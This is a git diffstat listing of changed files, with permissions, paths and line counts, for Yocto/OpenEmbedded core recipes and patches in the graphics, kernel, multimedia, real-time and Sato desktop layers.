-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-support-link-against-libatomic-if-no-built-in-atomic.patch117
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch31
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples_git.bb27
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-tools_1.2.154.0.bb31
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-tools_1.2.198.0.bb32
-rw-r--r--meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch56
-rw-r--r--meta/recipes-graphics/waffle/waffle_1.6.1.bb39
-rw-r--r--meta/recipes-graphics/waffle/waffle_1.7.0.bb49
-rw-r--r--meta/recipes-graphics/wayland/libinput/run-ptest2
-rw-r--r--meta/recipes-graphics/wayland/libinput_1.16.3.bb49
-rw-r--r--meta/recipes-graphics/wayland/libinput_1.19.2.bb49
-rw-r--r--meta/recipes-graphics/wayland/wayland-protocols_1.20.bb22
-rw-r--r--meta/recipes-graphics/wayland/wayland-protocols_1.24.bb23
-rw-r--r--meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch5
-rw-r--r--meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch115
-rw-r--r--meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch23
-rw-r--r--meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch27
-rw-r--r--meta/recipes-graphics/wayland/wayland_1.18.0.bb62
-rw-r--r--meta/recipes-graphics/wayland/wayland_1.19.0.bb61
-rw-r--r--meta/recipes-graphics/wayland/weston-init.bb27
-rw-r--r--meta/recipes-graphics/wayland/weston-init/init1
-rwxr-xr-xmeta/recipes-graphics/wayland/weston-init/weston-start11
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.ini2
-rw-r--r--meta/recipes-graphics/wayland/weston/0001-libweston-backend-drm-Re-order-gbm-destruction-at-DR.patch50
-rw-r--r--meta/recipes-graphics/wayland/weston/0001-meson.build-fix-incorrect-header.patch32
-rw-r--r--meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch2
-rw-r--r--meta/recipes-graphics/wayland/weston/systemd-notify.weston-start9
-rw-r--r--meta/recipes-graphics/wayland/weston/xwayland.weston-start2
-rw-r--r--meta/recipes-graphics/wayland/weston_9.0.0.bb39
-rw-r--r--meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb12
-rw-r--r--meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb2
-rw-r--r--meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb5
-rw-r--r--meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb10
-rw-r--r--meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb2
-rw-r--r--meta/recipes-graphics/xorg-app/rgb_1.0.6.bb2
-rw-r--r--meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb4
-rw-r--r--meta/recipes-graphics/xorg-app/xauth_1.1.1.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xauth_1.1.bb15
-rw-r--r--meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb13
-rw-r--r--meta/recipes-graphics/xorg-app/xinit_1.4.1.bb2
-rw-r--r--meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb19
-rw-r--r--meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xorg-app-common.inc2
-rw-r--r--meta/recipes-graphics/xorg-app/xprop_1.2.4.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xprop_1.2.5.bb17
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb11
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.0.bb11
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb6
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch505
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch27
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb8
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb2
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch2
-rw-r--r--meta/recipes-graphics/xorg-driver/xorg-driver-common.inc6
-rw-r--r--meta/recipes-graphics/xorg-driver/xorg-driver-input.inc2
-rw-r--r--meta/recipes-graphics/xorg-font/encodings_1.0.5.bb4
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb4
-rw-r--r--meta/recipes-graphics/xorg-font/font-util_1.3.2.bb10
-rw-r--r--meta/recipes-graphics/xorg-font/xorg-font-common.inc8
-rw-r--r--meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb12
-rw-r--r--meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch56
-rw-r--r--meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb4
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb6
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch58
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11_1.6.12.bb45
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb48
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb_1.14.bb10
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb24
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb33
-rw-r--r--meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxi_1.8.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbcommon_1.0.1.bb26
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbcommon_1.3.1.bb36
-rw-r--r--meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb4
-rw-r--r--meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch39
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb4
-rw-r--r--meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb31
-rw-r--r--meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb6
-rw-r--r--meta/recipes-graphics/xorg-lib/xkeyboard-config_2.31.bb30
-rw-r--r--meta/recipes-graphics/xorg-lib/xkeyboard-config_2.34.bb30
-rw-r--r--meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb2
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb10
-rw-r--r--meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb27
-rw-r--r--meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb25
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb19
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb19
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb4
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg.inc142
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch24
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Fix-segfault-on-probing-a-non-PCI-platform-device-on.patch34
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch23
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch36
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch34
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch50
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.9.bb33
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.1.bb28
-rw-r--r--meta/recipes-graphics/xwayland/xwayland_21.1.3.bb44
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch150
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/ldflags.patch114
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch197
-rw-r--r--meta/recipes-kernel/blktrace/blktrace_git.bb15
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-linux_1.11.bb13
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb13
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-module_1.11.bb16
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb16
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-tests_1.11.bb21
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb22
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev.inc9
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch24
-rw-r--r--meta/recipes-kernel/dtc/dtc.inc26
-rw-r--r--meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch40
-rw-r--r--meta/recipes-kernel/dtc/dtc/make_install.patch26
-rw-r--r--meta/recipes-kernel/dtc/dtc_1.6.0.bb10
-rw-r--r--meta/recipes-kernel/dtc/dtc_1.6.1.bb30
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb17
-rw-r--r--meta/recipes-kernel/kern-tools/kern-tools-native_git.bb12
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch78
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch93
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch40
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch42
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb91
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb86
-rw-r--r--meta/recipes-kernel/kmod/kmod-native_git.bb2
-rw-r--r--meta/recipes-kernel/kmod/kmod.inc9
-rw-r--r--meta/recipes-kernel/kmod/kmod_git.bb28
-rw-r--r--meta/recipes-kernel/linux-firmware/linux-firmware_20201022.bb999
-rw-r--r--meta/recipes-kernel/linux-firmware/linux-firmware_20211027.bb1067
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc12
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch12
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.15.bb20
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.8.bb18
-rw-r--r--meta/recipes-kernel/linux/kernel-devsrc.bb59
-rw-r--r--meta/recipes-kernel/linux/linux-dummy.bb18
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-dev.bb29
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb45
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.14.bb45
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb45
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb44
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.8.bb44
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.14.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.8.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto.inc41
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.10.bb58
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.14.bb68
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.15.bb68
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.4.bb54
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.8.bb55
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb93
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb93
-rw-r--r--meta/recipes-kernel/lttng/babeltrace_1.5.8.bb2
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0001-fix-btrfs-tracepoints-output-proper-root-owner-for-t.patch318
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0001-fix-cpu-hotplug-Remove-deprecated-CPU-hotplug-functi.patch394
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch46
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0002-fix-Revert-Makefile-Enable-Wimplicit-fallthrough-for.patch829
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch43
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch49
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules_2.12.3.bb43
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules_2.13.0.bb47
-rw-r--r--meta/recipes-kernel/lttng/lttng-platforms.inc12
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch34
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/determinism.patch64
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch34
-rwxr-xr-xmeta/recipes-kernel/lttng/lttng-tools/run-ptest1
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools_2.12.2.bb166
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools_2.13.2.bb188
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch35
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch25
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch22
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb53
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb53
-rw-r--r--meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb7
-rwxr-xr-xmeta/recipes-kernel/modutils-initscripts/files/modutils.sh11
-rw-r--r--meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb6
-rw-r--r--meta/recipes-kernel/perf/perf.bb98
-rwxr-xr-xmeta/recipes-kernel/perf/perf/sort-pmuevents.py97
-rw-r--r--meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch52
-rw-r--r--meta/recipes-kernel/powertop/powertop_2.13.bb32
-rw-r--r--meta/recipes-kernel/powertop/powertop_2.14.bb25
-rw-r--r--meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb6
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch61
-rw-r--r--meta/recipes-kernel/systemtap/systemtap_git.bb35
-rw-r--r--meta/recipes-kernel/systemtap/systemtap_git.inc8
-rw-r--r--meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb43
-rw-r--r--meta/recipes-kernel/wireless-regdb/wireless-regdb_2021.08.28.bb43
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib/ad8c8e5503980295dd8e5e54a6285d2d7e32eb1e.patch31
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib_1.2.4.bb43
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb44
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb172
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb174
-rw-r--r--meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb86
-rw-r--r--meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb88
-rw-r--r--meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.4.bb19
-rw-r--r--meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb23
-rw-r--r--meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.4.bb20
-rw-r--r--meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.2.bb24
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.4.bb25
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb25
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils.inc68
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb (renamed from meta/recipes-multimedia/alsa/alsa-utils_1.2.4.bb)0
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg/0001-lavf-srt-fix-build-fail-when-used-the-libsrt-1.4.1.patch52
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch97
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch32
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb162
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg_4.4.1.bb181
-rw-r--r--meta/recipes-multimedia/flac/flac_1.3.3.bb12
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-devtools_1.18.1.bb42
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-devtools_1.18.5.bb49
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples_1.18.1.bb32
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples_1.18.5.bb35
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.1.bb22
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.5.bb24
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb22
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.1.bb46
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.5.bb47
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch31
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.1.bb153
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.5.bb160
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.1.bb94
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.5.bb94
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc5
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-rpicamsrc-add-vchostif-library-as-it-is-required-to-.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.1.bb73
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.5.bb76
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc29
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.1.bb39
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.18.5.bb43
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc23
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.1.bb22
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.18.5.bb26
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.1.bb31
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.18.5.bb31
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.1.bb52
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.18.5.bb53
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch56
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst_private.h-increse-padding-in-struct-_GstClockEnt.patch34
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-Remove-unused-valgrind-detection.patch22
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-option-for-installed-tests.patch257
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-seek-Don-t-use-too-strict-timeout-for-validati.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-respect-the-idententaion-used-in-meson.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-add-support-for-install-the-tests.patch110
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0006-tests-use-a-dictionaries-for-environment.patch48
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0007-tests-install-the-environment-for-installed_tests.patch58
-rwxr-xr-xmeta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest2
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.1.bb70
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.5.bb75
-rw-r--r--meta/recipes-multimedia/lame/lame_3.100.bb11
-rw-r--r--meta/recipes-multimedia/liba52/liba52_0.7.4.bb7
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch40
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch34
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch43
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch15
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch39
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb27
-rw-r--r--meta/recipes-multimedia/libogg/libogg_1.3.4.bb17
-rw-r--r--meta/recipes-multimedia/libogg/libogg_1.3.5.bb17
-rw-r--r--meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb12
-rw-r--r--meta/recipes-multimedia/libpng/libpng_1.6.37.bb7
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch62
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb28
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb26
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb5
-rw-r--r--meta/recipes-multimedia/libtiff/tiff_4.1.0.bb50
-rw-r--r--meta/recipes-multimedia/libtiff/tiff_4.3.0.bb57
-rw-r--r--meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb20
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb51
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb52
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio.inc136
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch26
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch82
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch114
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch48
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch8
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb12
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb11
-rw-r--r--meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch45
-rw-r--r--meta/recipes-multimedia/sbc/sbc_1.4.bb23
-rw-r--r--meta/recipes-multimedia/sbc/sbc_1.5.bb24
-rw-r--r--meta/recipes-multimedia/speex/speexdsp_1.2.0.bb8
-rw-r--r--meta/recipes-multimedia/webp/libwebp_1.1.0.bb56
-rw-r--r--meta/recipes-multimedia/webp/libwebp_1.2.1.bb55
-rw-r--r--meta/recipes-multimedia/x264/x264_git.bb16
-rw-r--r--meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch6
-rw-r--r--meta/recipes-rt/rt-tests/files/0001-rt-tests-oslat-Allow-build-for-not-supported-archs.patch52
-rw-r--r--meta/recipes-rt/rt-tests/hwlatdetect_1.9.bb26
-rw-r--r--meta/recipes-rt/rt-tests/hwlatdetect_git.bb26
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests.inc6
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests_1.9.bb36
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests_git.bb36
-rw-r--r--meta/recipes-sato/images/core-image-sato-dev.bb1
-rw-r--r--meta/recipes-sato/images/core-image-sato-ptest-fast.bb19
-rw-r--r--meta/recipes-sato/images/core-image-sato-sdk-ptest.bb23
-rw-r--r--meta/recipes-sato/images/core-image-sato-sdk.bb1
-rw-r--r--meta/recipes-sato/images/core-image-sato.bb8
-rw-r--r--meta/recipes-sato/l3afpad/l3afpad_git.bb8
-rw-r--r--meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch24
-rw-r--r--meta/recipes-sato/libptytty/libptytty_2.0.bb13
-rw-r--r--meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb4
-rw-r--r--meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb7
-rw-r--r--meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb13
-rw-r--r--meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb14
-rw-r--r--meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb6
-rw-r--r--meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb2
-rw-r--r--meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc2
-rw-r--r--meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb2
-rw-r--r--meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb18
-rw-r--r--meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb40
-rw-r--r--meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb40
-rw-r--r--meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb4
-rw-r--r--meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch32
-rw-r--r--meta/recipes-sato/puzzles/files/0001-malloc-Check-for-excessive-values-to-malloc.patch49
-rw-r--r--meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch68
-rw-r--r--meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch34
-rw-r--r--meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch44
